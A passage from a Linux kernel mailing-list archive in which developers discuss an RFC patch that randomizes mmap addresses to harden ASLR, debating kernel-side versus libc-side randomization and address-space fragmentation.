Xref: news.gmane.org gmane.linux.ports.ppc.embedded:123266 gmane.linux.ports.mips.general:64164 gmane.linux.ports.sh.devel:56686 gmane.linux.kernel.mm:192163 gmane.linux.ports.sparc:27463 gmane.linux.ports.ia64:28739 gmane.linux.ports.alpha:4831 gmane.linux.kernel.arc:3621 gmane.linux.ports.parisc:28365 gmane.linux.kernel:2724024 gmane.linux.kernel.metag:1710
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/123266>


--Apple-Mail=_B9437F76-CEDD-4524-828D-E63FF8E38C7F
Content-Type: multipart/alternative;
	boundary="Apple-Mail=_302D41D8-B8D8-4A57-A90C-AE132EC44462"


--Apple-Mail=_302D41D8-B8D8-4A57-A90C-AE132EC44462
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii


> On 22 Mar 2018, at 23:54, Andrew Morton <akpm@linux-foundation.org> =
wrote:
>=20
>=20
> Please add changelogs.  An explanation of what a "limit on memory
> region random shift" is would be nice ;) Why does it exist, why are we
> doing this, etc.  Surely there's something to be said - at present =
this
> is just a lump of random code?
>=20
Sorry, my bad. The main idea of this limit is to decrease possible =
memory
fragmentation. This is not so big problem on 64bit process, but really =
big for
32 bit processes since may cause failure memory allocation. To control =
memory
fragmentation and protect 32 bit systems (or architectures) this limit =
was
introduce by this patch. It could be also moved to CONFIG_ as well.



--Apple-Mail=_302D41D8-B8D8-4A57-A90C-AE132EC44462
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset=us-ascii

<html><head><meta http-equiv=3D"Content-Type" content=3D"text/html; =
charset=3Dus-ascii"></head><body style=3D"word-wrap: break-word; =
-webkit-nbsp-mode: space; line-break: after-white-space;" class=3D""><br =
class=3D""><div><blockquote type=3D"cite" class=3D""><div class=3D"">On =
22 Mar 2018, at 23:54, Andrew Morton &lt;<a =
href=3D"mailto:akpm@linux-foundation.org" =
class=3D"">akpm@linux-foundation.org</a>&gt; wrote:</div><br =
class=3D"Apple-interchange-newline"><div class=3D""><div class=3D""><br =
class=3D"">Please add changelogs. &nbsp;An explanation of what a "limit =
on memory<br class=3D"">region random shift" is would be nice ;) Why =
does it exist, why are we<br class=3D"">doing this, etc. &nbsp;Surely =
there's something to be said - at present this<br class=3D"">is just a =
lump of random code?<br class=3D""><br =
class=3D""></div></div></blockquote><div style=3D"margin: 0px; =
font-stretch: normal; font-size: 11px; line-height: normal; font-family: =
Menlo; background-color: rgb(255, 255, 255);" class=3D""><span =
style=3D"font-variant-ligatures: no-common-ligatures" class=3D"">Sorry, =
my bad. The main idea of this limit is to decrease possible =
memory&nbsp;</span></div><div style=3D"margin: 0px; font-stretch: =
normal; font-size: 11px; line-height: normal; font-family: Menlo; =
background-color: rgb(255, 255, 255);" class=3D""><span =
style=3D"font-variant-ligatures: no-common-ligatures" =
class=3D"">fragmentation. This is not so big problem on 64bit process, =
but really big for&nbsp;</span></div><div style=3D"margin: 0px; =
font-stretch: normal; font-size: 11px; line-height: normal; font-family: =
Menlo; background-color: rgb(255, 255, 255);" class=3D""><span =
style=3D"font-variant-ligatures: no-common-ligatures" class=3D"">32 bit =
processes since may cause failure memory allocation. To control =
memory&nbsp;</span></div><div style=3D"margin: 0px; font-stretch: =
normal; font-size: 11px; line-height: normal; font-family: Menlo; =
background-color: rgb(255, 255, 255);" class=3D""><span =
style=3D"font-variant-ligatures: no-common-ligatures" =
class=3D"">fragmentation and protect 32 bit systems (or architectures) =
this limit was&nbsp;</span></div><div style=3D"margin: 0px; =
font-stretch: normal; font-size: 11px; line-height: normal; font-family: =
Menlo; background-color: rgb(255, 255, 255);" class=3D""><span =
style=3D"font-variant-ligatures: no-common-ligatures" class=3D"">introduce=
 by this patch. It could be also moved to CONFIG_ as =
well.</span></div><div style=3D"margin: 0px; font-stretch: normal; =
font-size: 11px; line-height: normal; font-family: Menlo; =
background-color: rgb(255, 255, 255);" class=3D""><span =
style=3D"font-variant-ligatures: no-common-ligatures" class=3D""><br =
class=3D""></span></div><div style=3D"margin: 0px; font-stretch: normal; =
font-size: 11px; line-height: normal; font-family: Menlo; =
background-color: rgb(255, 255, 255);" class=3D""><span =
style=3D"font-variant-ligatures: no-common-ligatures" class=3D""><br =
class=3D""></span></div></div></body></html>=

--Apple-Mail=_302D41D8-B8D8-4A57-A90C-AE132EC44462--

--Apple-Mail=_B9437F76-CEDD-4524-828D-E63FF8E38C7F
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename=signature.asc
Content-Type: application/pgp-signature;
	name=signature.asc
Content-Description: Message signed with OpenPGP

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEju7OBNw5xIMUzNy9WTzOquRR3DcFAlq1PdAACgkQWTzOquRR
3Ddp9BAAmPUV7u9gSEqLavwAr5Hu+ZmmSJS7i95PzubMqxmQosuS52Z4/bUbBubG
rpcg0eym8hpSfWnUs+SyF4od/d1elKMcF0Xy16b48F7xeGARHOBsxp2WXVdLDxVN
veTQKZ5skp9MHHAPJZbrwJqslKksWdisVWxx14XXWt3o+LqeG5/O7XORxC4zqAEv
wa4BvuDBg86I6/J+5+8aMVeucisrk/DKxG1sWWXWsRkQYDK8+V1pO0RUuxDSHu9K
5YDyvXzdcXy1NML+LAmtPO9xDK+6jI0YVFY6Ifp1wbVYI5KwDLWiAchEYPnHTmcI
719Wfy9aLBVnG8EyOCR1z86LegVJ0AKUidWovh+fhOZ3kO8rbmr9yv7FV0WXzf98
1HUZBQWwW3UuDOb3t/83TMeNHtq/kb0NXD+bjb4NFJUnYS15lYDe9YPhO5MKCudT
X0prbA/oipnJQojAzlITFNUt2N7N+53OxDEdXHzrQDuT0g/wdheM5q27VvQ+EdE5
72YRH72brGkh+b/QhreLK3OjiGa6AWdWpqr+5ERn4TVt1IRBSfRAq5zHAxgDk97S
81cRvJgLR0n2NEXHNrvyjIZebfLuc5CmPiTs4tLHpDYnrrUZtsuQyXk53hSiUmGs
KzBn/WKQGxswsjPNqzFNDNIaf67VXSlf4QQmegh2Fl8GGC8v8pg=
=6qWL
-----END PGP SIGNATURE-----

--Apple-Mail=_B9437F76-CEDD-4524-828D-E63FF8E38C7F--


From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 14:00:24 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20180323180024.GB1436@brightrain.aerifal.cx>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1521828509 10235 195.159.176.226 (23 Mar 2018 18:08:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 18:08:29 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Ilya Smith <blackzert@gmail.com>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        jhogan@kernel.org, ralf@linux-mips.org, jejb@parisc-linux.org,
        deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, nyc@holomorphy.com,
        viro@zeniv.linux.org.uk, arnd@arndb.de, gregkh@linuxfoundation.org,
        deepa.kernel@gmail.com, mhocko@suse.com, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@mips.com,
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 23 19:08:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ezR6x-0002We-HJ
	for glk-linux-kernel-4@m.gmane.org; Fri, 23 Mar 2018 19:08:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752048AbeCWSKY (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 23 Mar 2018 14:10:24 -0400
Original-Received: from 216-12-86-13.cv.mvl.ntelos.net ([216.12.86.13]:32952 "EHLO
        brightrain.aerifal.cx" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751595AbeCWSKW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 23 Mar 2018 14:10:22 -0400
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
        id 1ezQzI-0000XQ-00; Fri, 23 Mar 2018 18:00:24 +0000
Content-Disposition: inline
In-Reply-To: <20180323124806.GA5624@bombadil.infradead.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724033 gmane.linux.ports.alpha:4832 gmane.linux.kernel.arc:3622 gmane.linux.ports.arm.kernel:640530 gmane.linux.ports.ia64:28740 gmane.linux.kernel.metag:1711 gmane.linux.ports.mips.general:64165 gmane.linux.ports.parisc:28366 gmane.linux.ports.ppc64.devel:154976 gmane.linux.ports.sh.devel:56687 gmane.linux.ports.sparc:27464 gmane.linux.kernel.mm:192164
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724033>

On Fri, Mar 23, 2018 at 05:48:06AM -0700, Matthew Wilcox wrote:
> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
> > Current implementation doesn't randomize address returned by mmap.
> > All the entropy ends with choosing mmap_base_addr at the process
> > creation. After that mmap build very predictable layout of address
> > space. It allows to bypass ASLR in many cases. This patch make
> > randomization of address on any mmap call.
> 
> Why should this be done in the kernel rather than libc?  libc is perfectly
> capable of specifying random numbers in the first argument of mmap.

Generally libc does not have a view of the current vm maps, and thus
in passing "random numbers", they would have to be uniform across the
whole vm space and thus non-uniform once the kernel rounds up to avoid
existing mappings. Also this would impose requirements that libc be
aware of the kernel's use of the virtual address space and what's
available to userspace -- for example, on 32-bit archs whether 2GB,
3GB, or full 4GB (for 32-bit-user-on-64-bit-kernel) is available, and
on 64-bit archs where fewer than the full 64 bits are actually valid
in addresses, what the actual usable pointer size is. There is
currently no clean way of conveying this information to userspace.

Rich


From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matthew Wilcox <willy@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 12:06:18 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20180323190618.GA23763@bombadil.infradead.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <20180323180024.GB1436@brightrain.aerifal.cx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521831873 18775 195.159.176.226 (23 Mar 2018 19:04:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 19:04:33 +0000 (UTC)
User-Agent: Mutt/1.9.2 (2017-12-15)
Cc: kstewart@linuxfoundation.org, linux-mips@linux-mips.org, mhocko@suse.com,
 jack@suse.cz, linux-sh@vger.kernel.org, Ilya Smith <blackzert@gmail.com>,
 benh@kernel.crashing.org, bhsharma@redhat.com, heiko.carstens@de.ibm.com,
 jejb@parisc-linux.org, linux-mm@kvack.org, paulus@samba.org,
 deepa.kernel@gmail.com, hpa@zytor.com, sparclinux@vger.kernel.org,
 linux-ia64@vger.kernel.org, dan.j.williams@intel.com, aarcange@redhat.com,
 linux-s390@vger.kernel.org, ysato@users.sourceforge.jp, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, hughd@google.com, linux@armlinux.org.uk,
 nitin.m.gupta@oracle.com, linux-alpha@vger.kernel.org, mingo@redhat.com,
 jhogan@kernel.org, mattst88@gmail.com, linux-snps-arc@lists.infradead.org,
 fenghua.yu@intel.com, riel@redhat.com, punit.agrawal@arm.com,
 keescook@chromium.org, arnd@arndb.de, pombredanne@nexb.com, npiggin@gmail.com,
 jglisse@redhat.com, in
To: Rich Felker <dalias@libc.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 23 20:04:23 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ezRzD-0004e7-LW
	for gla-linux-snps-arc@m.gmane.org; Fri, 23 Mar 2018 20:04:23 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=K+ljZJI6uswPVw+wAkNsHHPBBPpvhaR8U4LMA0wix8Y=; b=H+QhXNnktwrBRE
	OFE92N4Bn/WIUA13euas0Ynf+v0JSZcme4flkVrDNehmRDNl0vfqe4onBNfTwa0tSWDDs4WbTuIWG
	s2bu0RkYpy6FCdH2zMRMlqCQoNqKlWtuMFxl9g3eeu693gPVyOw1G3M3m3M6Z/Lf2PN+pNaaad7rY
	05WKNqAvpop1Hklcv6ceiCBJyrcb6f5+OaEIXSugCz9YTxINVRoqweEUhjwvX2uaPA6NLnHdzKTFb
	P6X390FYLljlJ0jJBa72dk7+DlKpenUt3LqwoN9Tl8nS12+s3RIA8sawn9wSStYBQRxBhX4tJDoFN
	AFvFBnJFFCXYJo1m7Efw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ezS1G-0006M4-3j; Fri, 23 Mar 2018 19:06:30 +0000
Original-Received: from willy by bombadil.infradead.org with local (Exim 4.90_1 #2 (Red
 Hat Linux)) id 1ezS14-0006Kg-Rr; Fri, 23 Mar 2018 19:06:18 +0000
Content-Disposition: inline
In-Reply-To: <20180323180024.GB1436@brightrain.aerifal.cx>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3623 gmane.linux.ports.mips.general:64166 gmane.linux.ports.sh.devel:56688 gmane.linux.kernel.mm:192177 gmane.linux.ports.sparc:27465 gmane.linux.ports.ia64:28741 gmane.linux.ports.alpha:4833 gmane.linux.ports.arm.kernel:640555 gmane.linux.ports.parisc:28367 gmane.linux.kernel:2724074 gmane.linux.kernel.metag:1712 gmane.linux.ports.ppc64.devel:154978
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3623>

On Fri, Mar 23, 2018 at 02:00:24PM -0400, Rich Felker wrote:
> On Fri, Mar 23, 2018 at 05:48:06AM -0700, Matthew Wilcox wrote:
> > On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
> > > Current implementation doesn't randomize address returned by mmap.
> > > All the entropy ends with choosing mmap_base_addr at the process
> > > creation. After that mmap build very predictable layout of address
> > > space. It allows to bypass ASLR in many cases. This patch make
> > > randomization of address on any mmap call.
> > 
> > Why should this be done in the kernel rather than libc?  libc is perfectly
> > capable of specifying random numbers in the first argument of mmap.
> 
> Generally libc does not have a view of the current vm maps, and thus
> in passing "random numbers", they would have to be uniform across the
> whole vm space and thus non-uniform once the kernel rounds up to avoid
> existing mappings.

I'm aware that you're the musl author, but glibc somehow manages to
provide etext, edata and end, demonstrating that it does know where at
least some of the memory map lies.  Virtually everything after that is
brought into the address space via mmap, which at least glibc intercepts,
so it's entirely possible for a security-conscious libc to know where
other things are in the memory map.  Not to mention that what we're
primarily talking about here are libraries which are dynamically linked
and are loaded by ld.so before calling main(); not dlopen() or even
regular user mmaps.

> Also this would impose requirements that libc be
> aware of the kernel's use of the virtual address space and what's
> available to userspace -- for example, on 32-bit archs whether 2GB,
> 3GB, or full 4GB (for 32-bit-user-on-64-bit-kernel) is available, and
> on 64-bit archs where fewer than the full 64 bits are actually valid
> in addresses, what the actual usable pointer size is. There is
> currently no clean way of conveying this information to userspace.

Huh, I thought libc was aware of this.  Also, I'd expect a libc-based
implementation to restrict itself to, eg, only loading libraries in
the bottom 1GB to avoid applications who want to map huge things from
running out of unfragmented address space.

From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 15:16:21 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <20180323191621.GC1436@brightrain.aerifal.cx>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <20180323180024.GB1436@brightrain.aerifal.cx>
 <20180323190618.GA23763@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1521832744 14878 195.159.176.226 (23 Mar 2018 19:19:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 19:19:04 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Ilya Smith <blackzert@gmail.com>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        jhogan@kernel.org, ralf@linux-mips.org, jejb@parisc-linux.org,
        deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, nyc@holomorphy.com,
        viro@zeniv.linux.org.uk, arnd@arndb.de, gregkh@linuxfoundation.org,
        deepa.kernel@gmail.com, mhocko@suse.com, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@mips.com,
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 23 20:18:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ezSDF-0003Za-2o
	for glk-linux-kernel-4@m.gmane.org; Fri, 23 Mar 2018 20:18:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752562AbeCWTU4 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 23 Mar 2018 15:20:56 -0400
Original-Received: from 216-12-86-13.cv.mvl.ntelos.net ([216.12.86.13]:33058 "EHLO
        brightrain.aerifal.cx" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751983AbeCWTUw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 23 Mar 2018 15:20:52 -0400
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
        id 1ezSAn-0001FH-00; Fri, 23 Mar 2018 19:16:21 +0000
Content-Disposition: inline
In-Reply-To: <20180323190618.GA23763@bombadil.infradead.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724097 gmane.linux.ports.alpha:4834 gmane.linux.kernel.arc:3624 gmane.linux.ports.arm.kernel:640562 gmane.linux.ports.ia64:28742 gmane.linux.kernel.metag:1713 gmane.linux.ports.mips.general:64167 gmane.linux.ports.parisc:28368 gmane.linux.ports.ppc64.devel:154979 gmane.linux.ports.sh.devel:56689 gmane.linux.ports.sparc:27466 gmane.linux.kernel.mm:192181
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724097>

On Fri, Mar 23, 2018 at 12:06:18PM -0700, Matthew Wilcox wrote:
> On Fri, Mar 23, 2018 at 02:00:24PM -0400, Rich Felker wrote:
> > On Fri, Mar 23, 2018 at 05:48:06AM -0700, Matthew Wilcox wrote:
> > > On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
> > > > Current implementation doesn't randomize address returned by mmap.
> > > > All the entropy ends with choosing mmap_base_addr at the process
> > > > creation. After that mmap build very predictable layout of address
> > > > space. It allows to bypass ASLR in many cases. This patch make
> > > > randomization of address on any mmap call.
> > > 
> > > Why should this be done in the kernel rather than libc?  libc is perfectly
> > > capable of specifying random numbers in the first argument of mmap.
> > 
> > Generally libc does not have a view of the current vm maps, and thus
> > in passing "random numbers", they would have to be uniform across the
> > whole vm space and thus non-uniform once the kernel rounds up to avoid
> > existing mappings.
> 
> I'm aware that you're the musl author, but glibc somehow manages to
> provide etext, edata and end, demonstrating that it does know where at
> least some of the memory map lies.

Yes, but that's pretty minimal info.

> Virtually everything after that is
> brought into the address space via mmap, which at least glibc intercepts,

There's also vdso, the program interpreter (ldso), and theoretically
other things the kernel might add. I agree you _could_ track most of
this (and all if you want to open /proc/self/maps), but it seems
hackish and wrong (violating clean boundaries between userspace and
kernel responsibility).

> > Also this would impose requirements that libc be
> > aware of the kernel's use of the virtual address space and what's
> > available to userspace -- for example, on 32-bit archs whether 2GB,
> > 3GB, or full 4GB (for 32-bit-user-on-64-bit-kernel) is available, and
> > on 64-bit archs where fewer than the full 64 bits are actually valid
> > in addresses, what the actual usable pointer size is. There is
> > currently no clean way of conveying this information to userspace.
> 
> Huh, I thought libc was aware of this.  Also, I'd expect a libc-based
> implementation to restrict itself to, eg, only loading libraries in
> the bottom 1GB to avoid applications who want to map huge things from
> running out of unfragmented address space.

That seems like a rather arbitrary expectation and I'm not sure why
you'd expect it to result in less fragmentation rather than more. For
example if it started from 1GB and worked down, you'd immediately
reduce the contiguous free space from ~3GB to ~2GB, and if it started
from the bottom and worked up, brk would immediately become
unavailable, increasing mmap pressure elsewhere.

Rich


From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matthew Wilcox <willy@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 12:29:52 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20180323192952.GB23763@bombadil.infradead.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <20180323180024.GB1436@brightrain.aerifal.cx>
 <20180323190618.GA23763@bombadil.infradead.org>
 <20180323191621.GC1436@brightrain.aerifal.cx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521833280 18797 195.159.176.226 (23 Mar 2018 19:28:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 19:28:00 +0000 (UTC)
User-Agent: Mutt/1.9.2 (2017-12-15)
Cc: kstewart@linuxfoundation.org, linux-mips@linux-mips.org, mhocko@suse.com,
 jack@suse.cz, linux-sh@vger.kernel.org, Ilya Smith <blackzert@gmail.com>,
 benh@kernel.crashing.org, bhsharma@redhat.com, heiko.carstens@de.ibm.com,
 jejb@parisc-linux.org, linux-mm@kvack.org, paulus@samba.org,
 deepa.kernel@gmail.com, hpa@zytor.com, sparclinux@vger.kernel.org,
 linux-ia64@vger.kernel.org, dan.j.williams@intel.com, aarcange@redhat.com,
 linux-s390@vger.kernel.org, ysato@users.sourceforge.jp, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, hughd@google.com, linux@armlinux.org.uk,
 nitin.m.gupta@oracle.com, linux-alpha@vger.kernel.org, mingo@redhat.com,
 jhogan@kernel.org, mattst88@gmail.com, linux-snps-arc@lists.infradead.org,
 fenghua.yu@intel.com, riel@redhat.com, punit.agrawal@arm.com,
 keescook@chromium.org, arnd@arndb.de, pombredanne@nexb.com, npiggin@gmail.com,
 jglisse@redhat.com, in
To: Rich Felker <dalias@libc.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 23 20:27:50 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ezSLu-0004hi-8W
	for gla-linux-snps-arc@m.gmane.org; Fri, 23 Mar 2018 20:27:50 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=7AAPYbMr5nk8NK/3eVsjtFo2UDIBVeZL4WI35L3+LJw=; b=VTdqDjzrDUjkR3
	2EGGTNPpR9fXRgkYuUwPsiCSgAEoKi0SWp6UNOekJyR9FDgkMqyz5d4Sso0Vj0XmxlE3EgwXNaULn
